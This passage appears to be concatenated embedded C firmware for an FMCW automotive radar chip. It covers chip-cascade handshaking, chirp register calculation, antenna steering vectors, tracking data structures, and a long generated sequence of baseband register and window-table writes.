if (chip_cascade_status() == CHIP_CASCADE_MASTER) {
EMBARC_PRINTF("wait for handshake ...\r\n");
cascade_read_buf_req(portMAX_DELAY); /* wait buf */
if (cascade_read_buf(0) == SHAKE_CODE)
EMBARC_PRINTF("handshake success!\r\n");
cascade_read_buf_done();
// cascade sync init after handshake
baseband_cascade_sync_init();
} else {
EMBARC_PRINTF("tx handshake ...\r\n");
cascade_write_buf_req();
cascade_write_buf(SHAKE_CODE);
cascade_write_buf_done();
}
}
void baseband_cascade_sync_handler()
{
uint32_t msg = 0;
if (cas_sync_flag)
xQueueSendFromISR(queue_cas_sync, (void *)&msg, 0);
}
void baseband_cascade_sync_wait(baseband_hw_t *bb_hw)
{
uint32_t event = 0;
if(xQueueReceive(queue_cas_sync, &event, portMAX_DELAY) == pdTRUE) {
if (true == baseband_scan_stop_req()) {
uint16_t param = baseband_stream_off_req();
baseband_scan_stop_tx(CMD_SCAN_STOP, param); /* tx "scan stop" commond to slave*/
baseband_scan_stop(); /* scan stop for master itself */
}
}
}
void baseband_cascade_sync_init()
{
cas_sync_flag = true;
}
#endif
<file_sep>#ifdef UNIT_TEST
#include "calterah_unit_test.h"
#else
#include "embARC_error.h"
#include "calterah_error.h"
#endif
#include "baseband.h"
#include "sensor_config.h"
#include "math.h"
#include "fmcw_radio_cli.h"
#include "radio_ctrl.h"
#include "calterah_math.h"
void fmcw_radio_compute_reg_value(fmcw_radio_t *radio)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(radio, baseband_t, radio)->cfg;
uint32_t gcd = compute_gcd(cfg->adc_freq, FREQ_SYNTH_SD_RATE);
uint32_t sd_M = FREQ_SYNTH_SD_RATE / gcd;
uint32_t total_cycle = round(cfg->fmcw_chirp_period * gcd) * sd_M;
radio->nchirp = cfg->nchirp;
if (cfg->anti_velamb_en)
radio->nchirp += cfg->nchirp / cfg->nvarray;
radio->start_freq = DIV_RATIO(cfg->fmcw_startfreq, FREQ_SYNTH_SD_RATE);
uint32_t stop_freq = DIV_RATIO(cfg->fmcw_startfreq + cfg->fmcw_bandwidth * 1e-3, FREQ_SYNTH_SD_RATE);
uint32_t step_up = (1L<<28) * cfg->fmcw_bandwidth / (FREQ_SYNTH_SD_RATE * cfg->fmcw_chirp_rampup * FREQ_SYNTH_SD_RATE * 8);
uint32_t bandwidth = stop_freq - radio->start_freq;
uint32_t up_cycle = ceil(1.0 * bandwidth / step_up);
uint32_t step_down = (1L<<28) * cfg->fmcw_bandwidth / (FREQ_SYNTH_SD_RATE * cfg->fmcw_chirp_down * FREQ_SYNTH_SD_RATE * 8);
uint32_t down_cycle = ceil(1.0 * bandwidth / step_down);
uint32_t wait_cycle = total_cycle - up_cycle - down_cycle;
uint32_t anti_velamb_cycle = round(cfg->anti_velamb_delay * gcd) * sd_M; //cycle alignment for anti-velamb
uint32_t chirp_shifting_cyle = round(cfg->chirp_shifting_delay * gcd) * sd_M; //cycle alignment for chirp shifting
/*Added for frequency hopping*/
radio->hp_start_freq = DIV_RATIO(cfg->fmcw_startfreq + cfg->freq_hopping_deltaf * 1e-3, FREQ_SYNTH_SD_RATE);
radio->hp_stop_freq = radio->hp_start_freq + bandwidth;
radio->hp_mid_freq = radio->hp_start_freq + bandwidth / 2;
bandwidth = step_up * up_cycle;
radio->stop_freq = radio->start_freq + bandwidth;
radio->mid_freq = radio->start_freq + bandwidth / 2;
radio->step_up = step_up;
radio->step_down = step_down;
radio->up_cycle = up_cycle;
radio->down_cycle = down_cycle;
radio->wait_cycle = wait_cycle;
radio->total_cycle = total_cycle;
radio->cnt_wait = radio->wait_cycle + radio->down_cycle;
radio->anti_velamb_cycle = anti_velamb_cycle;
radio->chirp_shifting_cyle = chirp_shifting_cyle;
/* move doppler spur */
#if DOPPLER_MOVE == 1
uint32_t *doppler_move_opt = NULL;
doppler_move_opt = fmcw_doppler_move(radio);
if (doppler_move_opt[0]) {
radio->step_down = doppler_move_opt[1];
radio->down_cycle = doppler_move_opt[2];
radio->wait_cycle = doppler_move_opt[3];
} else {
EMBARC_PRINTF("no optimized doppler position found");
}
#endif
}
int32_t fmcw_radio_init(fmcw_radio_t *radio)
{
fmcw_radio_power_on(radio);
#if HTOL_TEST == 1
fmcw_radio_gain_compensation(radio);
#endif
fmcw_radio_compute_reg_value(radio);
fmcw_radio_generate_fmcw(radio);
#ifndef UNIT_TEST
fmcw_radio_cli_commands();
#endif
return E_OK;
}
int32_t fmcw_radio_start(fmcw_radio_t *radio)
{
fmcw_radio_start_fmcw(radio);
return E_OK;
}
int32_t fmcw_radio_stop(fmcw_radio_t *radio)
{
fmcw_radio_stop_fmcw(radio);
return E_OK;
}
<file_sep>#ifndef _ARC_WDG_H_
#define _ARC_WDG_H_
typedef enum {
WDG_EVENT_TIMEOUT = 0,
WDG_EVENT_INT,
WDG_EVENT_RESET
} wdg_event_t;
void arc_wdg_init(wdg_event_t event, uint32_t period);
void arc_wdg_deinit(void);
void arc_wdg_update(uint32_t period);
uint32_t arc_wdg_count(void);
#endif
<file_sep>#ifndef BASEBAND_TASK_H
#define BASEBAND_TASK_H
#define BB_ISR_QUEUE_LENGTH 8
#define BB_1P4_QUEUE_LENGTH 1
void baseband_task(void *parameters);
void bb_clk_switch();
void bb_clk_restore();
void initial_flag_set(bool data);
#endif
<file_sep>#ifndef ALPS_PAD_MUX_H
#define ALPS_PAD_MUX_H
void io_mux_init();
void io_mux_dbgbus_dump();
void io_mux_lvds_dump();
void io_mux_dbgbus_mode_stop();
void io_mux_free_run();
void io_mux_free_run_disable();
int8_t io_get_dmumode(void);
void io_sel_dmumode(uint8_t m);
#ifdef CHIP_CASCADE
void io_mux_adc_sync(void);
void io_mux_adc_sync_disable(void);
void io_mux_casade_irq(void);
void io_mux_casade_irq_disable(void);
#endif
#endif
<file_sep>#include "calterah_steering_vector.h"
#include "math.h"
#include "calterah_limits.h"
#ifndef M_PI
#define M_PI 3.1415926535f
#endif
#define DEG2RAD 0.017453292519943295f
static void de_mod(complex_t *vec, const uint8_t size)
{
complex_t tmp[MAX_NUM_RX];
int i = 0;
int idx = size / MAX_NUM_RX;
if (idx == 2) {
for(i = 0; i < MAX_NUM_RX; i++) {
tmp[0] = vec[i];
tmp[1] = vec[i + MAX_NUM_RX];
cadd(&tmp[0], &tmp[1], &vec[i]);
csub(&tmp[0], &tmp[1], &vec[i + MAX_NUM_RX]);
crmult(&vec[i], .5f, &vec[i]);
crmult(&vec[i + MAX_NUM_RX], .5f, &vec[i + MAX_NUM_RX]);
}
} else if (idx == 4) {
for(i = 0; i < MAX_NUM_RX; i++) {
tmp[0] = vec[i];
tmp[1] = vec[i + MAX_NUM_RX];
tmp[2] = vec[i + 2 * MAX_NUM_RX];
tmp[3] = vec[i + 3 * MAX_NUM_RX];
vec[i].r = tmp[0].r + tmp[1].r + tmp[2].r + tmp[3].r;
vec[i].i = tmp[0].i + tmp[1].i + tmp[2].i + tmp[3].i;
vec[i + MAX_NUM_RX].r = tmp[0].r - tmp[1].r + tmp[2].r - tmp[3].r;
vec[i + MAX_NUM_RX].i = tmp[0].i - tmp[1].i + tmp[2].i - tmp[3].i;
vec[i + 2 * MAX_NUM_RX].r = tmp[0].r + tmp[1].r - tmp[2].r - tmp[3].r;
vec[i + 2 * MAX_NUM_RX].i = tmp[0].i + tmp[1].i - tmp[2].i - tmp[3].i;
vec[i + 3 * MAX_NUM_RX].r = tmp[0].r - tmp[1].r - tmp[2].r + tmp[3].r;
vec[i + 3 * MAX_NUM_RX].i = tmp[0].i - tmp[1].i - tmp[2].i + tmp[3].i;
crmult(&vec[i], .25f, &vec[i]);
crmult(&vec[i + MAX_NUM_RX], .25f, &vec[i + MAX_NUM_RX]);
crmult(&vec[i + 2 * MAX_NUM_RX], .25f, &vec[i + 2 * MAX_NUM_RX]);
crmult(&vec[i + 3 * MAX_NUM_RX], .25f, &vec[i + 3 * MAX_NUM_RX]);
}
}
}
void gen_steering_vec(complex_t *vec,
const float *win,
const antenna_pos_t *ant_pos, /* in wavelength */
const float *ant_comps, /* in deg */
const uint8_t size,
const float pm1, /* theta in rad*/
const float pm2, /* phi in rad */
const char space,
const bool bpm)
{
float v_x, v_y;
switch (space)
{
case 'u' :
v_x = pm1;
v_y = pm2;
break;
default :
v_x = sinf(pm1) * cosf(pm2);
v_y = sinf(pm2);
break;
}
int ch = 0;
for(ch = 0; ch < size; ch++) {
float tw = ant_pos[ch].x * v_x + ant_pos[ch].y * v_y;
/* FIXME: need to doublecheck the sign */
complex_t tmp = expj(2 * M_PI * tw + ant_comps[ch] * DEG2RAD);
crmult(&tmp, win[ch], &vec[ch]);
}
if (bpm)
de_mod(vec, size);
}
void gen_steering_vec2(complex_t *vec,
const float *win,
const antenna_pos_t *ant_pos, /* in wavelength */
const float *ant_comps, /* in deg */
const uint8_t size, /*the size of steering vector*/
const float pm1, /* theta in rad*/
const float pm2, /* phi in rad */
const char space,
const bool bpm,
const bool phase_comp, /*flag for if need do phase_compensation, added for combined mode to generate sv of elevated direction*/
const uint8_t ant_idx[]) /*physical rx ant idx, virtualized by TDM va=4 tx_group=[1 16 256 4096]*/
{
float v_x, v_y;
switch (space)
{
case 'u' :
v_x = pm1;
v_y = pm2;
break;
default :
v_x = sinf(pm1) * cosf(pm2);
v_y = sinf(pm2);
break;
}
int ch = 0;
int comb_ant_num = 0;
for(ch = 0; ch < size; ch++) {
float tw = ant_pos[ant_idx[ch]].x * v_x + ant_pos[ant_idx[ch]].y * v_y;
/* FIXME: need to doublecheck the sign */
int idx = bpm ? ant_idx[ch]%DOA_MAX_NUM_RX : ant_idx[ch];
float phase = phase_comp ? ant_comps[idx] : 0;
complex_t tmp = expj(-2 * M_PI * tw - phase * DEG2RAD); // use conjugate steering vector
crmult(&tmp, win[comb_ant_num], &vec[comb_ant_num]);
comb_ant_num = comb_ant_num + 1;
}
}
void arrange_doa_win(const antenna_pos_t *ant_pos,
const uint8_t *ant_idx,
const uint8_t sv_size,
float *win,
uint8_t doa_dir) {
float distance[MAX_ANT_ARRAY_SIZE];
int sorted_ind[MAX_ANT_ARRAY_SIZE];
float win_sort[MAX_ANT_ARRAY_SIZE];
for (uint8_t k = 0; k < sv_size; k++) {
antenna_pos_t ant_pos_tmp = ant_pos[ant_idx[k]];
// choose one coordinate of ant_pos for sorting
if (doa_dir == 0)
distance[k] = ant_pos_tmp.x;
else if (doa_dir == 1)
distance[k] = ant_pos_tmp.y;
else
distance[k] = ant_pos_tmp.x;
}
bubble_sort(distance, sv_size, sorted_ind);
for (uint8_t k = 0; k < sv_size; k++) {
win_sort[sorted_ind[k]] = win[k];
}
for (uint8_t k = 0; k < sv_size; k++) {
win[k] = win_sort[k];
}
}
<file_sep>#include "calterah_algo.h"
void bubble_sort(float *arr, // data array to be sorted
int size, // data array size
int *sorted_ind // sorted data in terms of index in original array
)
{
int i, j;
float tmp;
int tmp_ind;
for (i = 0; i < size; i++) {
sorted_ind[i] = i;
}
for (i = 0; i < size - 1; i++) {
for (j = 0; j < size - i - 1; j++) {
if (arr[j] > arr[j+1]) {
tmp = arr[j];
arr[j] = arr[j+1];
arr[j+1] = tmp;
tmp_ind = sorted_ind[j];
sorted_ind[j] = sorted_ind[j+1];
sorted_ind[j+1] = tmp_ind;
}
}
}
}
<file_sep>/*
This is a common header file shared between firmware and PC-simulation.
Therefore, definition used by both parties should be include here.
*/
#ifndef TRACK_COMMON_H
#define TRACK_COMMON_H
#include "math.h"
#ifndef TRACK_TEST_MODE
#ifdef UNIT_TEST
#include "calterah_unit_test.h"
#else
#include "embARC_toolchain.h"
#endif
#else
/* #include "mex.h" */
/* #define inline __inline */
/* typedef unsigned int uint32_t; */
/* typedef int int32_t ; */
/* typedef unsigned short uint16_t; */
/* typedef short int16_t ; */
/* typedef unsigned char uint8_t ; */
/* typedef char int8_t ; */
#include "stdint.h"
#include "stdbool.h"
#endif
/*--- DEFINES ------------------------*/
#ifndef TRK_CONF_3D
#define TRK_CONF_3D 1
#endif
#ifndef M_PI
#define M_PI 3.1415926536
#endif
#ifndef RAD2ANG
#define RAD2ANG 57.2957795131
#endif
#ifndef ANG2RAD
#define ANG2RAD 0.017453292519943
#endif
#define TRACK_USE_DOUBLE 0
#ifdef MAX_OUTPUT_OBJS
#define TRACK_NUM_CDI MAX_OUTPUT_OBJS /* candidate */
#define TRACK_NUM_TRK MAX_OUTPUT_OBJS /* tracker */
#else
#define TRACK_NUM_CDI 64 /* candidate */
#define TRACK_NUM_TRK 64 /* tracker */
#endif //MAX_OUTPUT_OBJS
#if TRACK_USE_DOUBLE
#define TRACK_FABS fabs
#define TRACK_POW pow
#define TRACK_SIN sin
#define TRACK_COS cos
#define TRACK_SQRT sqrt
#define TRACK_ATAN atan
#define TRACK_LOG10 log10
#else
#define TRACK_FABS fabsf
#define TRACK_POW powf
#define TRACK_SIN sinf
#define TRACK_COS cosf
#define TRACK_SQRT sqrtf
#define TRACK_ATAN atanf
#define TRACK_LOG10 log10f
#endif
/*--- TYPEDEF ------------------------*/
/* float type used in track */
#if TRACK_USE_DOUBLE
typedef double track_float_t;
#else
typedef float track_float_t;
#endif
/* measurement */
typedef struct {
track_float_t rng; /* range */
track_float_t vel; /* velocity */
track_float_t ang; /* angle */
#if TRK_CONF_3D
track_float_t ang_elv; /* angle of elevation */
track_float_t sig_elv; /* power of elevation*/
#endif
track_float_t sig; /* power */
track_float_t noi; /* noise */
} track_measu_t;
/* candidate */
typedef struct {
uint32_t index;
track_measu_t raw_z;
} track_cdi_t;
/* candidate package */
typedef struct {
uint32_t raw_number; /* measurement number before pre-filter */
uint32_t cdi_number; /* measurement number after pre-filter */
track_cdi_t cdi[TRACK_NUM_CDI]; /* measurement */
} track_cdi_pkg_t;
typedef struct {
bool output;
track_float_t SNR;
track_float_t rng;
track_float_t vel;
track_float_t ang;
#if TRK_CONF_3D
track_float_t ang_elv;
track_float_t SNR_elv;
#endif
uint32_t track_level;
} track_obj_output_t;
typedef struct {
track_float_t frame_int;
uint32_t frame_id;
uint32_t track_output_number;
} track_header_output_t;
#endif
<file_sep>#ifndef CALTERAH_ALGO_H
#define CALTERAH_ALGO_H
#include <math.h>
#include "embARC_toolchain.h"
#include "embARC_assert.h"
#include "embARC_debug.h"
#include "calterah_math.h"
void bubble_sort(float *arr, int size, int * sorted_ind);
#endif
<file_sep>if(bb_hw->frame_type_id == 0){
/*** Baseband HW init... ***/
/*** sys params programmed! ***/
/*** agc params programmed! ***/
/*** amb params programmed! ***/
/*** debpm params programmed! ***/
/*** spk_rmv params programmed! ***/
if (acc_phase == 1) {
baseband_write_reg(NULL, (uint32_t)0xc00024, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00400, (uint32_t)0x1);
baseband_write_reg(NULL, (uint32_t)0xc00404, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00408, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc0040c, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00410, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00414, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00418, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc0041c, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00420, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00424, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00428, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc0042c, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00430, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00434, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00438, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc0043c, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00440, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00444, (uint32_t)0x1);
baseband_write_reg(NULL, (uint32_t)0xc00448, (uint32_t)0x1ff);
baseband_write_reg(NULL, (uint32_t)0xc00464, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc00468, (uint32_t)0x0);
baseband_write_reg(NULL, (uint32_t)0xc0046c, (uint32_t)0x25);
baseband_write_reg(NULL, (uint32_t)0xc00470, (uint32_t)0x1b5);
baseband_write_reg(NULL, (uint32_t)0xc00014, (uint32_t)0x2);
baseband_write_mem_table(NULL, (uint32_t)0x0, (uint32_t)0x260099);
baseband_write_mem_table(NULL, (uint32_t)0x2, (uint32_t)0x2f002a);
baseband_write_mem_table(NULL, (uint32_t)0x4, (uint32_t)0x3a0034);
baseband_write_mem_table(NULL, (uint32_t)0x6, (uint32_t)0x470040);
baseband_write_mem_table(NULL, (uint32_t)0x8, (uint32_t)0x55004e);
baseband_write_mem_table(NULL, (uint32_t)0xa, (uint32_t)0x65005d);
baseband_write_mem_table(NULL, (uint32_t)0xc, (uint32_t)0x78006e);
baseband_write_mem_table(NULL, (uint32_t)0xe, (uint32_t)0x8c0081);
baseband_write_mem_table(NULL, (uint32_t)0x10, (uint32_t)0xa30097);
baseband_write_mem_table(NULL, (uint32_t)0x12, (uint32_t)0xbc00af);
baseband_write_mem_table(NULL, (uint32_t)0x14, (uint32_t)0xd800ca);
baseband_write_mem_table(NULL, (uint32_t)0x16, (uint32_t)0xf700e7);
baseband_write_mem_table(NULL, (uint32_t)0x18, (uint32_t)0x1190108);
baseband_write_mem_table(NULL, (uint32_t)0x1a, (uint32_t)0x13f012c);
baseband_write_mem_table(NULL, (uint32_t)0x1c, (uint32_t)0x1680153);
baseband_write_mem_table(NULL, (uint32_t)0x1e, (uint32_t)0x194017e);
baseband_write_mem_table(NULL, (uint32_t)0x20, (uint32_t)0x1c501ac);
baseband_write_mem_table(NULL, (uint32_t)0x22, (uint32_t)0x1f901de);
baseband_write_mem_table(NULL, (uint32_t)0x24, (uint32_t)0x2320215);
baseband_write_mem_table(NULL, (uint32_t)0x26, (uint32_t)0x26f0250);
baseband_write_mem_table(NULL, (uint32_t)0x28, (uint32_t)0x2b1028f);
baseband_write_mem_table(NULL, (uint32_t)0x2a, (uint32_t)0x2f802d4);
baseband_write_mem_table(NULL, (uint32_t)0x2c, (uint32_t)0x344031d);
baseband_write_mem_table(NULL, (uint32_t)0x2e, (uint32_t)0x394036b);
baseband_write_mem_table(NULL, (uint32_t)0x30, (uint32_t)0x3eb03bf);
baseband_write_mem_table(NULL, (uint32_t)0x32, (uint32_t)0x4470418);
baseband_write_mem_table(NULL, (uint32_t)0x34, (uint32_t)0x4a90477);
baseband_write_mem_table(NULL, (uint32_t)0x36, (uint32_t)0x51104dc);
baseband_write_mem_table(NULL, (uint32_t)0x38, (uint32_t)0x57e0547);
baseband_write_mem_table(NULL, (uint32_t)0x3a, (uint32_t)0x5f305b8);
baseband_write_mem_table(NULL, (uint32_t)0x3c, (uint32_t)0x66d062f);
baseband_write_mem_table(NULL, (uint32_t)0x3e, (uint32_t)0x6ee06ad);
baseband_write_mem_table(NULL, (uint32_t)0x40, (uint32_t)0x7760731);
baseband_write_mem_table(NULL, (uint32_t)0x42, (uint32_t)0x80407bc);
baseband_write_mem_table(NULL, (uint32_t)0x44, (uint32_t)0x899084e);
baseband_write_mem_table(NULL, (uint32_t)0x46, (uint32_t)0x93508e6);
baseband_write_mem_table(NULL, (uint32_t)0x48, (uint32_t)0x9d80986);
baseband_write_mem_table(NULL, (uint32_t)0x4a, (uint32_t)0xa820a2c);
baseband_write_mem_table(NULL, (uint32_t)0x4c, (uint32_t)0xb330ada);
baseband_write_mem_table(NULL, (uint32_t)0x4e, (uint32_t)0xbeb0b8e);
baseband_write_mem_table(NULL, (uint32_t)0x50, (uint32_t)0xcaa0c4a);
baseband_write_mem_table(NULL, (uint32_t)0x52, (uint32_t)0xd700d0c);
baseband_write_mem_table(NULL, (uint32_t)0x54, (uint32_t)0xe3d0dd6);
baseband_write_mem_table(NULL, (uint32_t)0x56, (uint32_t)0xf110ea6);
baseband_write_mem_table(NULL, (uint32_t)0x58, (uint32_t)0xfeb0f7d);
baseband_write_mem_table(NULL, (uint32_t)0x5a, (uint32_t)0x10cc105b);
baseband_write_mem_table(NULL, (uint32_t)0x5c, (uint32_t)0x11b4113f);
baseband_write_mem_table(NULL, (uint32_t)0x5e, (uint32_t)0x12a2122a);
baseband_write_mem_table(NULL, (uint32_t)0x60, (uint32_t)0x1396131b);
baseband_write_mem_table(NULL, (uint32_t)0x62, (uint32_t)0x14901413);
baseband_write_mem_table(NULL, (uint32_t)0x64, (uint32_t)0x15901510);
baseband_write_mem_table(NULL, (uint32_t)0x66, (uint32_t)0x16961612);
baseband_write_mem_table(NULL, (uint32_t)0x68, (uint32_t)0x17a0171a);
baseband_write_mem_table(NULL, (uint32_t)0x6a, (uint32_t)0x18b01828);
baseband_write_mem_table(NULL, (uint32_t)0x6c, (uint32_t)0x19c4193a);
baseband_write_mem_table(NULL, (uint32_t)0x6e, (uint32_t)0x1add1a50);
baseband_write_mem_table(NULL, (uint32_t)0x70, (uint32_t)0x1bf91b6b);
baseband_write_mem_table(NULL, (uint32_t)0x72, (uint32_t)0x1d1a1c89);
baseband_write_mem_table(NULL, (uint32_t)0x74, (uint32_t)0x1e3d1dab);
baseband_write_mem_table(NULL, (uint32_t)0x76, (uint32_t)0x1f631ed0);
baseband_write_mem_table(NULL, (uint32_t)0x78, (uint32_t)0x208b1ff7);
baseband_write_mem_table(NULL, (uint32_t)0x7a, (uint32_t)0x21b62120);
baseband_write_mem_table(NULL, (uint32_t)0x7c, (uint32_t)0x22e1224b);
baseband_write_mem_table(NULL, (uint32_t)0x7e, (uint32_t)0x240e2378);
baseband_write_mem_table(NULL, (uint32_t)0x80, (uint32_t)0x253b24a5);
baseband_write_mem_table(NULL, (uint32_t)0x82, (uint32_t)0x266825d2);
baseband_write_mem_table(NULL, (uint32_t)0x84, (uint32_t)0x279526ff);
baseband_write_mem_table(NULL, (uint32_t)0x86, (uint32_t)0x28c1282b);
baseband_write_mem_table(NULL, (uint32_t)0x88, (uint32_t)0x29eb2956);
baseband_write_mem_table(NULL, (uint32_t)0x8a, (uint32_t)0x2b132a7f);
baseband_write_mem_table(NULL, (uint32_t)0x8c, (uint32_t)0x2c382ba5);
baseband_write_mem_table(NULL, (uint32_t)0x8e, (uint32_t)0x2d5a2cc9);
baseband_write_mem_table(NULL, (uint32_t)0x90, (uint32_t)0x2e782de9);
baseband_write_mem_table(NULL, (uint32_t)0x92, (uint32_t)0x2f922f05);
baseband_write_mem_table(NULL, (uint32_t)0x94, (uint32_t)0x30a7301d);
baseband_write_mem_table(NULL, (uint32_t)0x96, (uint32_t)0x31b6312f);
baseband_write_mem_table(NULL, (uint32_t)0x98, (uint32_t)0x32c0323c);
baseband_write_mem_table(NULL, (uint32_t)0x9a, (uint32_t)0x33c33342);
baseband_write_mem_table(NULL, (uint32_t)0x9c, (uint32_t)0x34bf3441);
baseband_write_mem_table(NULL, (uint32_t)0x9e, (uint32_t)0x35b3353a);
baseband_write_mem_table(NULL, (uint32_t)0xa0, (uint32_t)0x369f362a);
baseband_write_mem_table(NULL, (uint32_t)0xa2, (uint32_t)0x37833712);
baseband_write_mem_table(NULL, (uint32_t)0xa4, (uint32_t)0x385d37f1);
baseband_write_mem_table(NULL, (uint32_t)0xa6, (uint32_t)0x392f38c7);
baseband_write_mem_table(NULL, (uint32_t)0xa8, (uint32_t)0x39f63993);
baseband_write_mem_table(NULL, (uint32_t)0xaa, (uint32_t)0x3ab23a55);
baseband_write_mem_table(NULL, (uint32_t)0xac, (uint32_t)0x3b643b0d);
baseband_write_mem_table(NULL, (uint32_t)0xae, (uint32_t)0x3c0b3bb9);
baseband_write_mem_table(NULL, (uint32_t)0xb0, (uint32_t)0x3ca53c5a);
baseband_write_mem_table(NULL, (uint32_t)0xb2, (uint32_t)0x3d343cef);
baseband_write_mem_table(NULL, (uint32_t)0xb4, (uint32_t)0x3db73d77);
baseband_write_mem_table(NULL, (uint32_t)0xb6, (uint32_t)0x3e2d3df4);
baseband_write_mem_table(NULL, (uint32_t)0xb8, (uint32_t)0x3e973e64);
baseband_write_mem_table(NULL, (uint32_t)0xba, (uint32_t)0x3ef33ec6);
baseband_write_mem_table(NULL, (uint32_t)0xbc, (uint32_t)0x3f423f1c);
baseband_write_mem_table(NULL, (uint32_t)0xbe, (uint32_t)0x3f833f64);
baseband_write_mem_table(NULL, (uint32_t)0xc0, (uint32_t)0x3fb73f9f);
baseband_write_mem_table(NULL, (uint32_t)0xc2, (uint32_t)0x3fdd3fcc);
baseband_write_mem_table(NULL, (uint32_t)0xc4, (uint32_t)0x3ff63feb);
baseband_write_mem_table(NULL, (uint32_t)0xc6, (uint32_t)0x3fff3ffd);
baseband_write_mem_table(NULL, (uint32_t)0xc8, (uint32_t)0x3ffd3fff);
baseband_write_mem_table(NULL, (uint32_t)0xca, (uint32_t)0x3feb3ff6);
baseband_write_mem_table(NULL, (uint32_t)0xcc, (uint32_t)0x3fcc3fdd);
baseband_write_mem_table(NULL, (uint32_t)0xce, (uint32_t)0x3f9f3fb7);
baseband_write_mem_table(NULL, (uint32_t)0xd0, (uint32_t)0x3f643f83);
baseband_write_mem_table(NULL, (uint32_t)0xd2, (uint32_t)0x3f1c3f42);
baseband_write_mem_table(NULL, (uint32_t)0xd4, (uint32_t)0x3ec63ef3);
baseband_write_mem_table(NULL, (uint32_t)0xd6, (uint32_t)0x3e643e97);
baseband_write_mem_table(NULL, (uint32_t)0xd8, (uint32_t)0x3df43e2d);
baseband_write_mem_table(NULL, (uint32_t)0xda, (uint32_t)0x3d773db7);
baseband_write_mem_table(NULL, (uint32_t)0xdc, (uint32_t)0x3cef3d34);
baseband_write_mem_table(NULL, (uint32_t)0xde, (uint32_t)0x3c5a3ca5);
baseband_write_mem_table(NULL, (uint32_t)0xe0, (uint32_t)0x3bb93c0b);
baseband_write_mem_table(NULL, (uint32_t)0xe2, (uint32_t)0x3b0d3b64);
baseband_write_mem_table(NULL, (uint32_t)0xe4, (uint32_t)0x3a553ab2);
baseband_write_mem_table(NULL, (uint32_t)0xe6, (uint32_t)0x399339f6);
baseband_write_mem_table(NULL, (uint32_t)0xe8, (uint32_t)0x38c7392f);
baseband_write_mem_table(NULL, (uint32_t)0xea, (uint32_t)0x37f1385d);
baseband_write_mem_table(NULL, (uint32_t)0xec, (uint32_t)0x37123783);
baseband_write_mem_table(NULL, (uint32_t)0xee, (uint32_t)0x362a369f);
baseband_write_mem_table(NULL, (uint32_t)0xf0, (uint32_t)0x353a35b3);
baseband_write_mem_table(NULL, (uint32_t)0xf2, (uint32_t)0x344134bf);
baseband_write_mem_table(NULL, (uint32_t)0xf4, (uint32_t)0x334233c3);
baseband_write_mem_table(NULL, (uint32_t)0xf6, (uint32_t)0x323c32c0);
baseband_write_mem_table(NULL, (uint32_t)0xf8, (uint32_t)0x312f31b6);
baseband_write_mem_table(NULL, (uint32_t)0xfa, (uint32_t)0x301d30a7);
baseband_write_mem_table(NULL, (uint32_t)0xfc, (uint32_t)0x2f052f92);
baseband_write_mem_table(NULL, (uint32_t)0xfe, (uint32_t)0x2de92e78);
baseband_write_mem_table(NULL, (uint32_t)0x100, (uint32_t)0x2cc92d5a);
baseband_write_mem_table(NULL, (uint32_t)0x102, (uint32_t)0x2ba52c38);
baseband_write_mem_table(NULL, (uint32_t)0x104, (uint32_t)0x2a7f2b13);
baseband_write_mem_table(NULL, (uint32_t)0x106, (uint32_t)0x295629eb);
baseband_write_mem_table(NULL, (uint32_t)0x108, (uint32_t)0x282b28c1);
baseband_write_mem_table(NULL, (uint32_t)0x10a, (uint32_t)0x26ff2795);
baseband_write_mem_table(NULL, (uint32_t)0x10c, (uint32_t)0x25d22668);
baseband_write_mem_table(NULL, (uint32_t)0x10e, (uint32_t)0x24a5253b);
baseband_write_mem_table(NULL, (uint32_t)0x110, (uint32_t)0x2378240e);
baseband_write_mem_table(NULL, (uint32_t)0x112, (uint32_t)0x224b22e1);
baseband_write_mem_table(NULL, (uint32_t)0x114, (uint32_t)0x212021b6);
baseband_write_mem_table(NULL, (uint32_t)0x116, (uint32_t)0x1ff7208b);
baseband_write_mem_table(NULL, (uint32_t)0x118, (uint32_t)0x1ed01f63);
baseband_write_mem_table(NULL, (uint32_t)0x11a, (uint32_t)0x1dab1e3d);
baseband_write_mem_table(NULL, (uint32_t)0x11c, (uint32_t)0x1c891d1a);
baseband_write_mem_table(NULL, (uint32_t)0x11e, (uint32_t)0x1b6b1bf9);
baseband_write_mem_table(NULL, (uint32_t)0x120, (uint32_t)0x1a501add);
baseband_write_mem_table(NULL, (uint32_t)0x122, (uint32_t)0x193a19c4);
baseband_write_mem_table(NULL, (uint32_t)0x124, (uint32_t)0x182818b0);
baseband_write_mem_table(NULL, (uint32_t)0x126, (uint32_t)0x171a17a0);
baseband_write_mem_table(NULL, (uint32_t)0x128, (uint32_t)0x16121696);
baseband_write_mem_table(NULL, (uint32_t)0x12a, (uint32_t)0x15101590);
baseband_write_mem_table(NULL, (uint32_t)0x12c, (uint32_t)0x14131490);
baseband_write_mem_table(NULL, (uint32_t)0x12e, (uint32_t)0x131b1396);
baseband_write_mem_table(NULL, (uint32_t)0x130, (uint32_t)0x122a12a2);
baseband_write_mem_table(NULL, (uint32_t)0x132, (uint32_t)0x113f11b4);
baseband_write_mem_table(NULL, (uint32_t)0x134, (uint32_t)0x105b10cc);
baseband_write_mem_table(NULL, (uint32_t)0x136, (uint32_t)0xf7d0feb);
baseband_write_mem_table(NULL, (uint32_t)0x138, (uint32_t)0xea60f11);
